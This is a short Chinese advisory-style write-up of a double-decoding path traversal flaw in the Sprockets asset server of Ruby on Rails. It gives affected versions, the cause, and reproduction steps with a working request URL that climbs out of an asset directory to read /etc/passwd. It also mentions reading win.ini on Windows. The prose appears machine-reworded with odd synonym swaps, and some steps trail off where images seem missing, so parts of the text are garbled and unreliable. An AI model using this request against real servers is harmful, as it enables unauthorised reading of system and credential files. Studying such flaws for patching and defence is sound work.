破绽简介

Ruby On Rails在开发环境下运用Sprockets作为静态文件效劳器，Ruby On Rails是著名的Ruby Web开发框架，Sprockets是编译及存储静态资源文件的Ruby库。

在3.7.1及之前的版本中，存在一处由于二次解码招致的途径穿越中缀，攻击者能够应用%252e%252e/来逾越到根目录，读取或执行目的效劳器上恣意文件。
 

影响版本

4.0.0.beta7及更低版本 3.7.1及更低版本 2.12.4及更低版本
 

破绽剖析

破绽原理 问题出在sprockets，它用来检查 JavaScript 文件的互相依赖关系，用以优化网页中引入的js文件，以防止加载不用要的js文件。 当访问如http://www.0-sec.org:3000/assets/foo.js时，会进入server.rb

破绽复现

直接访问http://www.0-sec.org:3000/assets/file:%2f%2f/etc/passwd，将会报错，由于文件/etc/passwd不在允许的目录中：

我们经过报错页面，可取得允许的目录列表。随意选择其中一个目录，如/usr/src/blog/app/assets/images，然后运用%252e%252e/向上一层交换，最后读取/etc/passwd：

http://www.0-sec.org:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

扩展：读取 windows 系统中 C:/Windows/win.ini 文件

感谢您的来访，获取更多精彩文章请收藏本站。